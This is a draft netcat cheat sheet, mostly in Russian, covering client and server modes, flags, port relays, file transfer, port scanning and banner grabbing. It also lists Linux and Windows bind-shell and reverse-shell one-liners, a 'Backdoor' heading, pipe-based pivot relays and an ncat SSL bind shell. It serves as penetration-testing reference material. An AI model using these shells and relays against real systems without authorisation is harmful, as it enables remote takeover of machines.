Show Menu
Cheatography

Netcat Cheat Sheet (DRAFT) by

This is a draft cheat sheet. It is a work in progress and is not finished yet.

Fundam­entals

Netcat в роли клиента
$ nc [Targe­tIP­Addr] [port]

Netcat в роли сервера
$ nc -l -p [Local­Port]

И клиент и сервер берут данные из STDIN, а полученные из сети данные направляют в STDOUT

Netcat Bind Shell

Netcat Reverse Shell

Backdoor

Bind shell на Linux
$ nc -l -p [Local­Port] -e /bin/bash

Bind shell на Windows
C:\> nc -l -p [local­Port] -e cmd.exe

Reverse shell на Linux
$ nc [YourI­PAd­dress] [port] -e /bin/bash

Reverse shell на Windows
C:\> nc [YourI­PAd­dress] [port] -e cmd.exe
 

Netcat Command Flags

$ nc [options] [Targe­tIP­Addr] [port(s)]

-l : режим сервера
-L : режим сервера, при котором Netcat начинает слушать снова после отсоед­инения клиента (работает только в Windows)
-u : UDP-мод
-p : локальный порт (в режиме сервера слушается этот порт. В режиме клиента с этого порта отправ­ляются все пакеты)
-e : программа, которая выполн­яется после устано­вления соединения
-n : не выполнять преобр­азо­вание DNS-имен
-z : Zero I/O-мод (не отпарвляет какие-либо данные, только пробует подклю­читься. Исполь­зовать совместно с опцией -w для таймаута и -v для подробного вывода)
-wN : таймаут для подклю­чения, ожидает N секунд перед закрытием соединения
-v : подробный вывод
-vv : очень подробный вывод, печатает больше деталей в станда­ртный вывод об ошибках

Netcat Relays on Linux

Для начала создаем FIFO (имено­ванный pipe), называемый backpipe
$ cd /tmp
$ mknod backpipe p

Создадим релей, который отправит пакеты с локального порта на удаленный компьютер с указанным портом
$ nc -l -p [Local­Port] 0<b­ackpipe | nc [Targe­tIP­addr] [port] | tee backpipe

Создадим релей, который перена­правит данные входящего соединения на порт [Local­Port_1] на входящее соединение на порт [Local­Port_2]
$ nc -l -p [Local­Port_1] 0<b­ackpipe | nc -l -p [Local­Port_2] | tee backpipe

Создадим релей, который перена­правит данные от исходящего соединения на [Previ­ous­Hop­IPaddr] на порт [port_1] на другое исходящее соединение на [NextH­opI­Paddr] на порт [port_2]
$ nc [Previ­ous­Hop­IPaddr] [port_1] 0<b­ackpipe | nc [NextH­opI­Paddr] [port_2] | tee backpipe
 

Netcat Relays on Windows

Ретран­слятор пакетов с опреде­ленного порта на порт удаленного компьютера
C:\> echo nc [Targe­tIP­Addr] [port] > relay.bat
C:\> nc -l -p [local­Port] -e relay.bat

Ретран­слятор пакетов с порта 1 на порт 2
C:\> echo nc -l -p [Local­Port_2] > relay.bat
C:\> nc -l -p [Local­Port_1] -e relay.bat

Ретран­слятор пакетов, которые будут получены от соединения с [Previ­ous­Hop­IPAddr] на порт [port] в соединение с [NextH­opI­PAddr] на порт [port2]
C:\> echo nc [NextH­opI­PAddr] [port2] > relay.bat
C:\> nc [Previ­ous­Hop­IPAddr] [port] -e relay.bat

File transfer with Netcat

От клиента к серверу
На сервере
C:\> nc -nlvp 4444 > incomi­ng.exe
На клиенте
$ nc -nv 10.0.0.22 4444 < /usr/s­har­e/w­ind­ows­-bi­nar­ies­/wg­et.exe

От сервера к клиенту
На сервере
C:\> nc -nlvp 4444 < [infile]
На клиенте
$ nc -nv 10.0.0.22 4444 > [outfile]

TCP Port Scanner

$ nc -v -n -z -w1 [Targe­tIP­Addr] [start­_po­rt]­-[e­nd_­port]

Опция -r может исполь­зов­аться чтобы выбирать порты из диапазона случайным образом

TCP Banner Grabber

Сбор баннеров на Linux
$ echo "­" | nc -v -n -w1 [targe­tIP­Add­ress] [start­_po­rt]­-[e­nd_­port]

Аналоги Netcat

Ncat является более продви­нутым аналогом Netcat, поддер­живает SSL и белые списки

Bind shell
C:\> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl

Connect to Bind shell
$ ncat -v 10.0.0.22 4444 --ssl

Также для этих целей может исполь­зов­аться утилита sbd